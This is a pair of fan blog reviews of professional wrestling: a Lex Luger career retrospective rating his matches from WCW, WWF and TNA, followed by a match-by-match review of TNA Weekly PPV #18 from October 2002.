In a cage if you missed that point and the title is vacant. Luger is clearly the more popular guy. Remember that. This is a short cage too as it’s maybe eight feet off the mat. The LOUD Flair chant begins again. Oh and another thing to complete the joke: Flair has the physical belt so they’re using the old Western States Title with a cheap looking plate over the part that says Western States.

The fans want Flair and we get going. They collide but no one goes anywhere. Luger hip tosses him down as we’re still in a feeling out process. They hit the ropes and Barry dropkicks him down and things slow down again. Small package gets two for Lex. He runs Barry over but the elbow misses. There are a lot of standoffs in this. Barry backdrops him down and they stare at each other some more. The camera guy looks at the fans as they chant for Flair. Nice job dude.

They go to the mat and Barry finally pops him in the face. A suplex puts Windham down and they stand off AGAIN. A figure four is broken up by Lex despite Barry not touching the leg at all yet. We’re like five minutes into the match so far and NOTHING has happened. Barry grabs a headlock and runs Luger over again. Lex grabs a sleeper but Barry counters into one of his own. Riveting stuff I tell you. Riveting.

Luger sends him into the corner to escape and this a DDT for two. That’s your biggest move so far people: a DDT. Lex goes up and gets slammed down, followed by a knee drop for two from Barry. Windham misses a top rope knee drop and Lex hits his series of clotheslines for two. There’s a powerslam and Luger puts him in the Rack but Barry kicks off the cage and backflips out in a cool counter.

A belly to back puts Luger down but he shrugs it off and loads up a superplex. That gets countered and Barry hits a top rope lariat. A regular lariat still gets no cover but a slam gets two. Barry goes up and hits a kind of flying superkick for two. Harley Race and Mr. Hughes come out for no apparent reason and Race says NOW IS THE TIME. Luger pops up and piledrives Windham for the pin and the title.

Rating: D+. The problem here is that while there were two or three good minutes at the end, the first five minutes of the thirteen minute match were just dull. The heel turn at the end made NO sense and most people didn’t catch on because they popped for the pin. The match just wasn’t that good but there were good pieces to it if that makes sense. The ending sucked though and that brings it down even more. Eh screw it we’ll go with a D+. They earned it. Take that for what you will.

Here’s Luger’s lone successful title defense on PPV.

WCW World Title: Ron Simmons vs. Lex Luger

Luger is defending and has Harley Race with him while Simmons has Dusty Rhodes for no apparent reason. This is 2/3 falls. Feeling out process to start and they trade hammerlocks. Simmons tries a dropkick but misses completely to give Lex the advantage. Ron comes back with a facejam and snaps off a powerslam for no cover. The spinebuster gets the first fall in about five minutes total. That came out of nowhere and we have a one minuet rest period.

Simmons slams him down onto the back again and whips him into the corner time after time to have Luger hiding in the corner. Let’s talk about the Braves, who are playing in the World Series at the same time as this show. A sunset flip gets two for Simmons and Race is freaking out. Simmons misses a charge and Luger sends him flying out to the floor. Back in and an elbow drop gets two for the champion.

Lex hits a powerslam of his own for one because his back is too messed up to cover fully. Off to a chinlock as Luger tries to buy himself a breather. Simmons fights back with elbows and punches before grabbing a rollup for two. A backslide does the same and Luger is getting in more and more trouble every second. Race distracts Ron so Dusty gives him the big elbow. In a HORRIBLY STUPID MOMENT, Luger charges at Simmons who is on the ropes. Race holds Simmons against the ropes and Lex falls to the floor, AND THAT’S A DQ. That rule was so stupid that I can’t fathom it at times.

After another rest period it’s the third fall. Simmons is ready to go while Luger is sucking wind. The champion gets in a sucker punch and goes on a big rush of offense. He’s also bleeding from under his right eye. Simmons shrugs that off and pounds away in the corner. A clothesline gets two. Luger knees him in the ribs and Simmons is slowed down almost immediately. A powerslam puts Luger right back down and a middle rope shoulder puts Lex on the outside. Simmons’ shoulder hits the post and we go back inside so the piledriver can get the pin for Luger to retain.

Rating: D+. I wasn’t big on this one. This felt more like a really big TV main event rather than a PPV main event. Simmons would become a lot bigger soon enough and would get the title off Vader in 1992. The DQ here was just freaking dumb as there were far worse throws earlier in the night, but it made sense here because it needed to. Not a very good match but I’ve seen worse.

Luger would drop the title to Sting in February 1992 and promptly injure his arm in a motorcycle crash. This put him on the shelf for over a year until he eventually came back in the WWF. Here’s his first major match, from Wrestlemania IX.

Lex Luger vs. Mr. Perfect

That sounds pretty awesome on paper. Anyway, Luger is the Narcissist at this point and comes out with some women in bikinis with thongs, sending Heenan through the roof. Well over the top of the columns at least. Perfect gets a very solid pop here but he would be used sparingly until he left in the fall. They trade headlocks to start and Luger bails to the corner. Now they trade hammerlocks and Luger bails to the ropes again.

Perfect hits a dropkick to send Luger to the outside as the crowd is staying hot. Back in and Luger starts using the power but Perfect blocks a big boot attempt. There’s the Robinsdale Crunch on Luger’s knee and Perfect cranks on it a bit for fun. We head to the corner for some LOUD chops but Lex whips him into the corner a few times to take over. We head to the floor with Luger ramming the injured back into the apron, followed by a backbreaker in the ring for two.

Perfect fights out of the corner with right hands but Luger scoops his legs and puts his own feet on the ropes for two. Mr. comes back with a nice sunset flip for two but a quick sleeper attempt is broken up. Back up and they slug it out a bit more with Perfect hitting a backdrop to take over. A slingshot sends Luger into the buckle and a forearm to the head gets two. Perfect hits a clothesline and neckbreaker for two each, as does a kind of missile dropkick. Luger wins the fight over a backslide and even though Perfect gets his feet in the ropes, Luger gets the pin anyway.

Rating: C. Decent match here but it never hit the level they were capable of. That ending was actually designed to set up something at the NEXT Wrestlemania which was unheard of at this point in time. Anyway, decent match here but it’s a disappointment due to how good this could and should have been.

Since I’ve covered Luger’s face turn and failed attempts at winning the title to death in this series, we’ll jump ahead to Summerslam 1994. Around this time, Ted DiBiase had been helping Luger win but Lex swore he hadn’t sold out. Luger’s friend Tatanka didn’t believe him and a match was set up between the two.

Lex Luger vs. Tatanka

The fans aren’t sure how they feel about Luger at the moment. They finally lock up with Luger taking it into the corner for a clean break. A shoulder puts Tatanka down but Luger still won’t follow up. Tatanka grabs the arm as we’re still in first gear. A cross body gets two for Tatanka and it’s time to slug it out with Lex taking over. Tatanka starts the war path and hits a top rope chop for two but a high cross body only hits mat. Luger starts his comeback but here’s DiBiase with a bag of money. Lex shouts that he didn’t sell out, allowing Tatanka to roll him up for the pin.

Rating: D. The match was very slow paced which isn’t good in a short match. We were waiting for the angle here instead of the match which is fine, but it didn’t make the match any less dull. Tatanka was into a more serious phase of his career here and his matches got a lot less fun to watch as a result.

Post match Luger is mad and he kicks the bag out of DiBiase’s hand…..only to have Tatanka reveal the HE sold out by destroying Luger. Tatanka puts him in the Million Dollar Dream and shoves money down Luger’s throat. This has always been a favorite of mine.

Luger would form a tag team with Davey Boy Smith and find enough success to earn a Tag Team Title shot at In Your House II.

Tag Titles: Yokozuna/Owen Hart vs. Allied Powers

The Powers are Lex Luger and British Bulldog and are challenging. Luger and his old world title rival Yokozuna get us going as the fans chant USA. So do they hate Bulldog as well? Yokozuna shoves the very strong Luger into the corner but Lex comes back with right hands. A clothesline puts Luger down but he avoids a big elbow drop and tries to pound on Yokozuna a bit.

The big man’s head is rammed into the top turnbuckle ten straight times and Yokozuna finally falls into the corner for the tag off to Owen. Yokozuna didn’t want to tag though and shoves Owen down as a result. Hart hides from Luger in the corner before being armdragged down into an armbar. Off to Owen’s real life brother in law Davey Boy Smith so they can fight over a wristlock. Bulldog tries a backdrop but Owen doesn’t flip over, landing on his face instead.

Off to a chinlock on Hart before he fights up and goes after the leg. Yokozuna comes in again and walks around a lot before putting on a nerve hold. Bulldog fights up but gets caught by an elbow to the jaw. Back to Owen who gets two off a clothesline before taking Davey’s head off with an enziguri. Davey comes back with a clothesline as the fans chant USA.

The hot tag brings in Luger to punch Yokozuna some more, as well as taking Owen down off the top rope. He throws Owen at the big man to put both guys down. Everything breaks down but Owen breaks up a Luger cover. Yokozuna misses a charge into the corner and a double belly to back suplex puts the big man down again, only to have Owen come off the top to break it up. Luger is stunned from Owen’s shot, allowing Yokozuna to drop the big leg to retain the title.

Rating: D+. This was a better choice than the Smoking Gunns but even power guys like Smith and Luger can only do so much with a guy that big. The double suplex was an impressive spot but it wasn’t enough to save the match. The entire tag division was basically Owen/Yokozuna, the Smoking Gunns and a bunch of jobbing tag teams that would never make it onto a PPV. Nothing special here at all.

Luger would jump to WCW soon after this and hook up with Sting, getting a shot at the Tag Team Titles on Nitro, January 22, 1996.

Tag Titles: Sting/Lex Luger vs. Harlem Heat

Heenan is ranting about something after we get back which apparently is that he isn’t being allowed to talk. This is happening because Sting and Luger decided they were going to be a tag team now so they’re #1 contenders. We start it off after a brief commercial. Back and there’s the bell and it’s Luger vs. Stevie to start us off. Luger gets beaten down a bit but managed to bring in Sting who cleans house, beating up both champions at once.

Scorpion goes onto Stevie but Booker makes the save. Booker gets an armbar on Sting as this is going very quickly but it doesn’t seem like much is happening at the same time. Luger breaks up a cover as Sting is getting beaten down pretty badly. Sting tries to fight back but gets clothesline on the top by Stevie. This is about as going through the motions as you could ask for.

Harlem Heat is rather boring indeed. LONG nerve hold by Booker wastes a good deal of time. Sherri, Harlem Heat’s manager, isn’t here since she’s about to get married tomorrow which didn’t happen either. Booker goes up but the Harlem Hangover misses. Jimmy Hart runs out again and slips Luger something. With the referee distracted Luger drills Booker with what turns out to be a roll of silver dollars for the pin and the titles.

Rating: D+. I couldn’t get into this one again. I don’t know what’s going on with these guys tonight but the show has been off by a step all night. I don’t know if it’s the being out west or what but this hasn’t worked at all for the most part all night despite there being talented guys out there. Sting and Luger would hold the belts for a few months.

Lex would quickly turn full face when the NWO arrived. He would be part of the team that would face off against them, but since he was out of most of the match, we’ll look at one of his warmup matches from that show from July 22, 1996.

Sting/Lex Luger/Randy Savage vs. Ric Flair/Steve McMichael/Chris Benoit

No Anderson, not even as a second. Flair isn’t here either but we were told earlier he would be making an entrance. After a break Arn is checking a white limo for whom I’d assume to be Flair. He can’t find him though so Arn, who just happens to be in wrestling gear, is filling in. The announcers speculate about who the next guy in the NWO could be and Heenan says it’s all about money. I guess you could call that foreshadowing.

Sting vs. Anderson to start us off. Mongo takes Sting down and the double beatdown is on. Back inside and here’s Benoit. I’d love to see early 90s Sting vs. Benoit in a 20 minute match or so. Mongo gets a bad neckbreaker for two. A bad dropkick follows and we look at the white limo. Off to the Crippler again and an elbow gets two. Only Sting has been in so far.

Anderson takes a few punches but manages to stop the tag. Back to the football dude who hammers on him in the corner and it’s very clear Mongo isn’t ready to be in there yet. It’s not his fault but he’s just not experienced enough yet. Even a few months in a minor league would have done wonders for him. Lex finally gets the hot tag and cleans house. Everything breaks down and the girls try to slip in the briefcase. Savage manages to steal it back and clocks Benoit with it, allowing Luger to get the easy pin.

Rating: C+. This was fine. It was short but given Mongo, that’s probably a good thing. He was trying but the experience and coordination just didn’t click. He was a great football player but it’s a different thing and I think he learned that quickly. Savage was never legally in the match I don’t think.

We’ll jump ahead again to February of 1997 when Luger was a major soldier in the war with the NWO. Luger was scheduled to team up with Giant to face the Outsiders but was injured coming in. From SuperBrawl VII.

Tag Titles: Outsiders vs. The Giant

Ok so there’s a backstory here. Giant and Luger are partners but Luger has a broken hand/arm and couldn’t get a doctor’s clearance in time so Giant has to go this alone. Syxx is with the champs. Hall starts off here with the idea being to tick Giant off. Hall hammers away which seems to just be getting him in trouble. One armed slam by Giant and it’s off to Nash. This was the teased match for an entire year which didn’t happen until the following January because Nash didn’t want to job to Giant.

Giant gets a dropkick to send Nash to the floor and manhandles him with ease, including ramming him into the post. Elbow gets two back in the ring. Nash gets in a shot with the Cruiserweight Title and Hall adds what was supposed to be a bulldog but Hall manages to wind up behind Giant, making it more like a Zig Zag.

Basically this is 3-1 and that’s about what was expected. Nash misses the running pelvis to the head with Giant on the middle rope in a 619 position. That move REALLY needs a name. Off to Hall again who hammers away in the corner. Giant fights them off as Syxx comes in and slips the belt to Hall who drops Giant with it. Nash manages to powerbomb Giant in a cool spot as somehow we haven’t had a DQ yet.

Here’s Luger with a cast on to clean house. He Racks Nash who hurt his back on the powerbomb. That rings a bell for a submission somehow but wait, Nash wasn’t legal. Therefore Giant (illegal) chokeslams Hall, the legal man, and pins him for the definitive pin. Naturally this was overturned the next night on Nitro for literally no reason other than “that wasn’t legal” but it was a stupid moment so I can forgive it.

Rating: D+. Match was junk for the most part but that powerbomb was indeed awesome. Nash vs. Giant would FINALLY get blown off 11 months later because WCW saw no problem with Nash screwing over a PPV audience at Starrcade. Anyway, this was more stupid stuff that meant nothing if you were paying attention but it’s WCW so there you go.

Later in the year, Luger had his biggest moment of the 90s in WCW. From August 7, 1997.

WCW World Title: Lex Luger vs. Hollywood Hogan

Dang man how long has it been since Hogan wrestled on Nitro? They trade hammerlocks to start and Hulk heads to the ropes. More feeling out until Hogan pounds away in the corner to take over. The fans are WAY into this here. Hogan keeps beating on him and drops a bunch of elbows. A clothesline in the corner has Lex in trouble and Hulk chokes away. Luger comes back and rams the champ into the buckle a few times to get himself a breather. Hollywood takes his head off with another clothesline and we take a break.

Back with Hogan still in control and hitting a suplex for two. A belly to back suplex puts Luger down again and a big right hand gets two. The big boot and legdrop hit for two and the pop is really weak for some reason. Another legdrop misses and it’s comeback time. Luger decks the Outsiders and Savage as they try to run in. The forearm takes Hogan down and there’s the Torture Rack to give us a new world champion.

Rating: B. The match itself was as by the book as you could get, but that’s exactly what it should have been. The rating is almost entirely for the moment, which is WAY better here than I remember it being. Hindsight would say it was obviously only going to last until the PPV, but still man this worked really well. I’m actually surprised at how much I liked this.

The locker room empties out for the celebration. The fans go NUTS too. Everyone goes to the back and we see Giant and Luger polishing the belt to get the NWO paint off as champagne is flowing everywhere.

Lex wouldn’t do much for the rest of the year so we’ll skip ahead to his time in the Wolfpack and a US Title shot on Nitro from August 10, 1998.

US Title: Lex Luger vs. Bret Hart

Bret is defending in another match that should have been at the PPV. Luger shoves Bret to the floor to start before accepting a test of strength for some reason. A hammerlock gets the champion nowhere so Luger elbows him out to the floor. Bret grabs the belt and starts to walk away but Luger will have none of that. Luger actually armdrags him into an armbar but Bret takes him into the corner and stomps away.

We take a break and come back with Bret sending him into the barricade and slamming Luger down on the concrete. Back in and Bret does the Hogan hand to the ear but Luger jacks his jaw with right hands. A low blow puts Luger down again but the referee doesn’t seem to care. Hart puts him down with a Russian legsweep and the headbutt to the abdomen.

A snap suplex gets two and Bret takes a breather to yell at the referee. The champ loads up the Five Moves but Luger gets a boot up to stop the elbow. Luger comes back with his clotheslines and the forearm for two before putting on a sleeper. The referee gets taken down and Bret pulls out a foreign object. Before it can be used though, Lex picks him up in the Torture Rack for the submission and the title.

Rating: C-. Pretty basic match here but it was nice to see something get some time on this show. I continue to shake my head whenever Bret comes on screen though as he’s now lost his title in his first defense after being wasted for about nine months. The match wasn’t bad and the Wolfpack did need to win something so I don’t have much to complain about here.

We’ll skip ahead again due to Luger being injured for about six months. Here’s one of his few final big matches from WCW at Halloween Havoc 1999.

Total Package vs. Bret Hart

Bret dominates to start and Luger can’t get anything going at all. As they fight to the floor for the second time, Liz trips Bret which doesn’t work at all. Lex finally takes over with more generic offense. These old guys really can’t do much but why should they? They’re making a fortune already. Bret grabs a Russian legsweep for two. Luger’s official name here is Lex Luger but you get the idea.

Bret keeps firing off and we hear about Goldberg and Sid some more. Here are the Five Moves of Doom by Hart and he loads up the Sharpshooter, but Lex pokes him in the eye. Someone tries a hiptoss and they tumble to the floor. Back in and Bret’s knee is almost done. Lex goes after the leg, works on it for about 10 seconds and hooks a half crab for the clean tap out. Yes, in 1999 Lex Luger got a clean submission win over Bret Hart.

Rating: D-. This match sucked and the only thing that keeps it from failing is how Liz looked in that dress with her implants. I can’t comprehend the booking of this show but believe me: it’s going to get worse. It’s not like Luger meant anything at this point, so let’s put him over Bret freaking Hart. Makes sense.

And finally, from SuperBrawl Revenge in the dying days of WCW.

Totally Buff vs. Kronik

Wow that sounds like a pair of indy teams if I’ve ever heard one. The fans chant for Goldberg and Totally Buff says he was fired. They run their mouths for awhile longer and we’re told that Brian Clark hasn’t been released to wrestle yet. So it’s a handicap match now with Adams fighting both of them. Oh never mind there he is. The lights are still out for the entrance though and we can’t see Clark. Yeah we know what’s coming so just get to it.

Clark is put down by a chair shot so it’s a handicap match anyway. Adams gets a terrible double DDT but can’t get a full nelson slam on Luger due to a low blow. Off to Bagwell and we begin the standard double teaming and tagging in and out by the heels. Other than that double DDT it’s been all heels here. Camel clutch by Luger and he poses a bit. Luger jumps up and down on his back a few times but gets caught in a double knee to the Package’s package.

Bagwell goes down also and it’s off to Adams in control. He fires away with basic stuff that doesn’t really get him anywhere. Totally Buff sets for a double team Blockbuster but Adams fights off Luger’s shoulders and gets a belly to back suplex to take him down. You know, if Bagwell had actually, I don’t know, DONE SOMETHING OTHER THAN STAND ON THE ROPES AND WATCHED, Adams might not have been able to take over like that.

Anyway we get an attempted full nelson slam to Bagwell but Clark apparently turns on Adams and drills him. Ah but it’s a ruse and it’s Mike Awesome in Clark attire with a wig. Why is that the case you ask? No one knows, but my guess would be because it makes no sense and makes Awesome even more worthless than he was before. Rack and the Blockbuster ends Adams quickly.

Rating: D. Hey what do you know? It’s a pointless match that isn’t any good with a screwy ending that makes no sense. Who in the world would have seen that coming? Awesome continues to be completely wasted (no match tonight) and again, NO ONE CARES ABOUT LUGER AND BAGWELL!!! Terrible match….again.

I’ll even throw in his lone TNA appearance as a final match. To the best of my knowledge this was the last match of his career. From November 17, 2003.

AJ Styles/Sting vs. Jeff Jarrett/Lex Luger

Luger alone could make this a trainwreck. Sting comes out first here which is a strange choice to say the least. It doesn’t help that JB calls Styles (accompanied by Jimmy Hart of all people) Sting’s opponent. Jeff is world champion because he’s Jeff Jarrett and this is TNA. Luger is heavily muscled but clearly not in the best of shape. Before the match, Jarrett’s manager Don Callis (Cyrus/The Jackyl) says that AJ doesn’t belong in the same ring as Luger and Jarrett. Sting of course disagrees and we’re ready to go.

Jarrett starts with Sting and is quickly shoved down and headlocked. A Stinger Splash misses but Sting puts on the brakes and clotheslines Jarrett down. Off to AJ for the drop down into a dropkick and a knee to the chest for two. The good guys both try Scorpions on the heels but Luger and Jarrett bail to the floor.

It’s off to Luger for his first match in America since WCW went under. AJ is easily shoved down and a gorilla press shows off Luger’s power. We hit the bearhug for a few moments before Lex drops him to tag Jarrett back in. A spinebuster puts Styles down again and it’s back to Luger. That goes nowhere so it’s back to Jeff who counters a hurricanrana attempt. AJ is stuck on Jeff’s shoulders but gets him into the corner for the tag to Sting, only to have Luger distract the referee so the tag doesn’t count.

Jeff’s Figure Four is blocked but AGAIN the referee misses the hot tag. Luger sends AJ to the floor so Sting comes in sans tag to clean house. A Death Drop gets two on Jarrett but Luger breaks up the pin. Sting escapes the Torture Rack attempt as AJ comes back in with a springboard cross body on Luger for two. In a HORRIBLE looking ending, Sting comes in with the ball bat and hits Luger twice in the ribs and chest. Luger, ever the great performer, TOTALLY NO SELLS THEM until Sting hits him in the jaw, knocking Luger into a rollup by AJ for the pin. Luger pops up after the pin and looks shocked instead of, you know, dead.

Rating: D. The ending drags this down even more than I expected it to. Luger was trying but it was the same act that was getting tired eight years before this match. I’m not sure how much you can blame Sting as he hit Luger with a freaking BASEBALL BAT but Luger wouldn’t sell the shots. That just looked ridiculous and nearly more comical than anything else.

Luger is the kind of guy who was WAY over back in his heyday and his run in 1988 was just awesome. The problem is he was labeled a choker early on and people stopped caring as a result. He had the look, he had the charisma, but he didn’t exactly have the ability to back it up in the ring. Still though, when he was on he was VERY on and is still fun to watch.

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TNA Weekly PPV #18: No One, I Repeat No One, Cares About Brian Lawler

TNA Weekly PPV #18
Date: October 23, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Don West, Mike Taney

The big match tonight is Lynn vs. Siaki in the showdown of a well built feud. Unfortunately it probably won’t get as much coverage as Jarrett/Lawler/Killings/Sadler because that’s the major story around here anymore. Not that it’s interesting or anything, but they’re the big stories and that’s what we’re getting. The good news though is things are starting to pick up a little big and is now up to boring instead of horrible. Let’s get to it.

There are graphics for the matches coming up later tonight. I don’t remember those on earlier shows.

Amazing Red vs. Kid Kash vs. Joel Maximo vs. Jose Maximo vs. Elix Skipper

Elimination rules and the winner gets an X Title shot next week. Skipper quickly dropkicks Jose out to the floor before Red dropkicks Skipper and Kash out to the floor. Red loads up a big dive but gets clotheslined down by Joel, who hits a big dive of his own. That’s fine with Red as he hits a dive onto all four of them to fire up the crowd in a hurry. Kash goes in and hits a dive of his own, with the wrestlers nice enough to look at him all the way down.

Joel has Kash in a Gory Special so Red gets in front of Joel like he’s in a Liontamer. Jose wraps Red’s neck up in some kind of a leg hold but Skipper puts Jose in a camel clutch for a five way submission. That’s…..really freaking stupid looking actually. Skipper finally lets go and dropkicks the whole pile down. Joel botches a headscissors on Skipper but gets two off a German suplex. Jose hits a bad looking hurricanrana on Kash before jumping into a dropkick to the chest. Kash tries a running hurricanrana to the top to the floor but mostly just lands on the back of his head. The botches are strong with this one.

Kid redeems himself a bit with a tornado DDT off the table to Joel as Red and Jose go into a somewhat insane countering sequence, culminating with Jose getting two off a sitout powerbomb. Skipper counters Jose’s tornado DDT before walking the top rope into a hurricanrana for an even closer two. Kash comes in off the top with a clothesline to Elix for another near fall but gets caught in a spinning powerbomb. Red breaks up the cover for no apparent reason before kicking Skipper in the face for no cover.

Kash runs the top rope on Red and hits a kind of top rope gorilla press of all things for no cover. Kid follows up by throwing Joel off the top for two but Jose breaks up the pin. Were the wrestlers not told this was elimination? Skipper hits a quick Play of the Day to eliminate Jose and thankfully keeping me from having to tell which Maximo was which. Skipper dives on Joel but gets kicked into an over the shoulder piledriver (Maximo Explosion) for the elimination. Kash takes Joel down with a top rope hurricanrana and hits the Money Maker for a pin.

We’re down to Red vs. Kash with Red hitting a spin kick to the face for two. West makes things confusing again by referring to Red as the kid. Kash comes back with something like a Whisper in the Wind for two followed by a pinfall reversal sequence for a series of near falls. The Bankroll (fisherman’s buster) gets two on Amazing and a BIG springboard cross body gets the same. Red fights out of a superplex attempt and hits Infrared (a very spinning flip dive) for the pin and the title shot.

Rating: C+. This was what you want for an opening match, especially with cruiserweights: let them fly around the ring like crazy for about twelve minutes and let the crowd get fired up. No the wrestling wasn’t much more than flips and dives and botches, but this wasn’t supposed to be Flair vs. Race.

Brian Christopher is looking for his girlfriend April because this story just won’t end.

Package on the Hotshots attacking Harris and Storm last week after AMW successfully defended the Tag Team Titles.

Tag Team Titles: Chris Harris/James Storm vs. Hotshots

Be AMW already. The Hotshots are Cassidy O’Reilly and Chase Stevens. The champs waste no time and start the brawl fast, easily sending the Hotshots to the floor. Harris sends Cassidy into the barricade as the announcers can’t remember if his last name has an O’ or not. Storm counters a Stevens dive into a powerbomb on the floor before planting him with a snap suplex. The timekeeper is thrown to the floor and there’s blood coming from someone.

The match finally settles down with Storm throwing Stevens around and Harris coming in with a running bulldog. Stevens accidentally knocks O’Reilly to the floor where he’s able to trip up Harris to take over. Storm is knocked off the apron so Cassidy can put Harris in a half crab. O’Reilly is no Lance Storm so the hold doesn’t do much good and it’s back to Chase for some stomping.

Chris nails the spear out of nowhere though, allowing for the hot tag to Storm. Everything breaks down with the champions taking over until Storm is sent outside. The Catatonic is broken up by a superkick for two and Storm grabs Stevens for a strange looking move called the 8 Second Ride (think White Noise but Storm spins him around very fast into a downward spiral) for the pin to retain.

Rating: C-. Not bad here but I don’t care for that finishing move from Storm. It’s more complicated than it needs to be for that payoff. The Hot Shots are a team that popped up in TNA for years to come but never meant anything at all. To be fair though, they had a pretty low ceiling with a generic name like the Hot Shots.

We recap Lynn vs. Siaki which is disrespect vs. experience.

Jerry says his knee is banged up but wrestlers don’t have an off season. Siaki isn’t going to use him to get a rub because this is what Jerry Lynn does. Brian Lawler gets in front of the camera, still looking for his girlfriend.

Jerry Lynn vs. Sonny Siaki

The fight starts on the floor as you would expect it to do. Jerry knocks him into the crowd but bangs up his knee on a dive over the barricade. Lynn limps around ringside before they get in the ring for the opening bell. Siaki wisely goes right for the knee and drops in some elbows but Jerry fights up again. Lynn hits his legdrop with Siaki’s neck over the ropes but it just injures the knee even worse.

Sonny is a smart villain and wraps the knee around the post a few times to take over even more. A clothesline to the back of Lynn’s head sets up a modified Indian deathlock followed by a very modified leglock while pulling on Lynn’s arms. When Jerry makes the ropes, Siaki just drives the bad knee into the mat. A figure four is broken by with Siaki being sent into the post shoulder first, allowing Lynn to grab a rollup for the pin out of nowhere.

Rating: C. This was all about the story instead of the action but there’s nothing wrong with that. I’m sure we’ll get a rematch but there’s a good story here to carry it to the next stage. Old vs. new is an idea that is going to work most of the time, except for when Bischoff ran it every month or so.

Siaki puts Lynn in a half crab for awhile post match. Lynn is helped to the back by referees.

Video on Ron Killings vs. Curt Hennig from last week where Mr. Wrestling 3 interfered to help Killings win. They have a rematch tonight.

Here are BG James and Curt Hennig with something to say. Instead of talking about Killings, Hennig talks about Jeff Jarrett being a Curt Hennig wannabe. He beat Jarrett from one end of this building back when Jarrett was a rookie. Curt brings up the West Texas Rednecks and says the guitar was a ripoff from the band. That’s a bit of a stretch I’d think but it’s close. Curt wants a piece of Jarrett next week no matter what happens this week since he’s the guy that took down Brock Lesnar at 35,000 feet (a reference to the Plane Ride From Hell, a real incident that got Hennig fired from WWE).

Jarrett is seen in the back with Brian Lawler but Lawler says he can’t go out there with Jeff because he’s waiting on his April. BG James insults Lawler and says he wants a piece of him man to man anytime. We also get the Get It Got It Good catchphrase which really isn’t catching on.

Mike tells us about an auction on TNA’s website to benefit the families of the victims of the DC sniper.

Here’s an unexpected Scott Hall with something to say. He’s been trying to be a good boy since he got here and he’s tired of it. Now he’s going to do whatever he wants and that means he wants Jeff Jarrett now instead of waiting for later. Jeff comes to the ring and the match is on now.

Jeff Jarrett vs. Scott Hall

It’s Hall in control early on but they get into a chase on the floor with Jarrett getting in a cheap shot as they come back in. Hall comes back with the fall away slam and Jeff tries to leave. They fight around the set and into the dark with Jarrett hitting him with a trashcan. Scott one ups him with a chair to the back and they head to ringside again. The Edge is countered with a backdrop over the top rope and Hall is in trouble again.

Jarrett loads up the steps but does nothing with them, instead sending Hall back into the ring. Jeff hammers away in the corner and hits the running crotch attack on the ropes. A swinging neckbreaker gets two on Scott and we hit the sleeper. Hall finally fights up with a belly to back suplex to put both guys down. Back up and Jarrett clotheslines the referee down, allowing Jarrett to blast Scott in the head with a chair.

Hennig runs in for the save but there go the lights. They couldn’t even pay the bills back then? Truth pops up on screen and says he’ll be in Curt’s business like a rectal thermometer. The lights come back on and Brian Lawler jumps Hennig. This brings out BG James to chase Lawler off as Hennig hits Jarrett low. The Edge is enough for Hall to pin Jarrett.

Rating: D+. The brawling wasn’t bad but man alive this multi-man main event scene is driving me crazy. It’s just not all that interesting as Lawler’s issues with his girlfriend are ridiculously dull and the whole thing is just a big fight that goes on and on. We need to get to a story soon and hopefully over the title.

We see a few seconds of Lawler vs. James last week.

BG James vs. Brian Lawler

Of course it’s a brawl to start with Lawler getting the better of it. Almost as I type that, Lawler misses a charge and falls out to the floor. The brawl heads to the ramp and Lawler is crotched on the barricade. BG pulls on his leg and Lawler of course freaks out because he’s uncomfortable with any male doing anything to his crotch. They head to the announce table and Lawler looks around for April, allowing BG to hit him a few times with a chair. West: “We have got to move this table somewhere else next week.”

Lawler whips him into the steps to take over before stealing a chair out of the crowd. That goes badly though as BG takes it away and hits Lawler in the head. Brian looks…..confused by the head shot and they head back inside for the shaky punches. Lawler comes back with right hand of his own but Syxx-Pac is on the apron kissing Lawler’s girlfriend. He falls off the top and crotches himself, allowing BG to get the easy pin.

Rating: D. Now please let the story be over. This thing has been going on FAR too long now and the interest just isn’t there. I have no idea why I’m supposed to care about Lawler’s issues with his girlfriend but the story gets about five segments every week. It’s just not interesting but TNA keeps going with it over and over again.

The announcers talk about what we just saw.

We look at AJ Styles almost winning the X-Division Title last week with the help of his new manager Mortimer Plumtree but the match ended in a disqualification. They also have a rematch tonight.

X-Division Title: Syxx-Pac vs. AJ Styles

AJ is challenging. Before the match Pac gets the mic and says he thinks this should be No DQ so we don’t have the same ending as last week. He also warns Plumtree against interfering. Feeling out process to start with Styles being sent to the outside. A big flip dive takes the challenger down and a spinwheel kick back inside does the same. There’s a surfboard to AJ before he’s sent to the floor again and into the barricade.

Pac throws the steps at Styles but only hits more steps, allowing AJ to send him into the post. Back inside and the Spiral Tap connects for two. I don’t remember anyone kicking out of that before. AJ cranks on both of the champion’s arms followed by the moonsault into a reverse DDT for two. Pac comes back with the spinwheel kicks and a sitout powerbomb for two. A lot of smaller guys use that move for some reason.

The Bronco Buster connects but Pac spends too much time posing and gets powerbombed out of the corner for two. Pac grabs the X-Factor but Plumtree pulls the referee out of the ring. Styles hits Plumtree by mistake but is able to grab Pac in a German suplex for two. Pac gets to the ropes to escape the Clash but Brian Lawler (erg) comes out and blasts Pac in the head with I think a bottle, allowing Styles to hit the Clash for the pin and the title.

Rating: C. Not a bad match here but man alive I am sick of Brian Lawler. He’s all over this show and stopped being interesting after about eighteen seconds on television. AJ being champion again makes sense as he’s far more important to the company’s future than Syxx-Pac and a win over Pac is a good thing for his status.

Pac raises Styles’ hand post match because it was No DQ so it wasn’t really cheating. Lawler hits Pac in the back of the head with the belt.

Jorge Estrada vs. Ace Steel

Steel takes him down to the mat and rides Estrada for a bit. Plumtree isn’t out here with Ace this week due to celebrating with AJ. Jorge counters a leapfrog into a powerslam for two before getting two off a suplex. This time it’s Steel countering a headscissors out of the corner into a side slam followed by a middle rope seated dropkick in a nice move.

Estrada tries to bail to the floor but gets caught by a suicide dive. Ace shoves Jorge’s chick Priscilla down, causing Estrada to come back with a running DDT on the floor. Back in and Ace gets two off a superplex. Neither guy can hit their finisher so Steel gets a pair of near falls off a pair of northern lights suplexes. Priscilla grabs Ace’s foot, giving Estrada a quick rollup for the pin.

Rating: C. This was fine but it’s nothing we haven’t seen done better multiple times before. Steel isn’t much to see but there are far worse talents on the roster. The match came off as filler, but at least there’s something to it with Plumtree switching over to Styles instead of being in Steel’s corner.

Post match Steel goes after Estrada, drawing in Priscilla for the save. This goes badly as Ace slams her down. Plumtree comes out as well but gets in a fight with Priscilla instead.

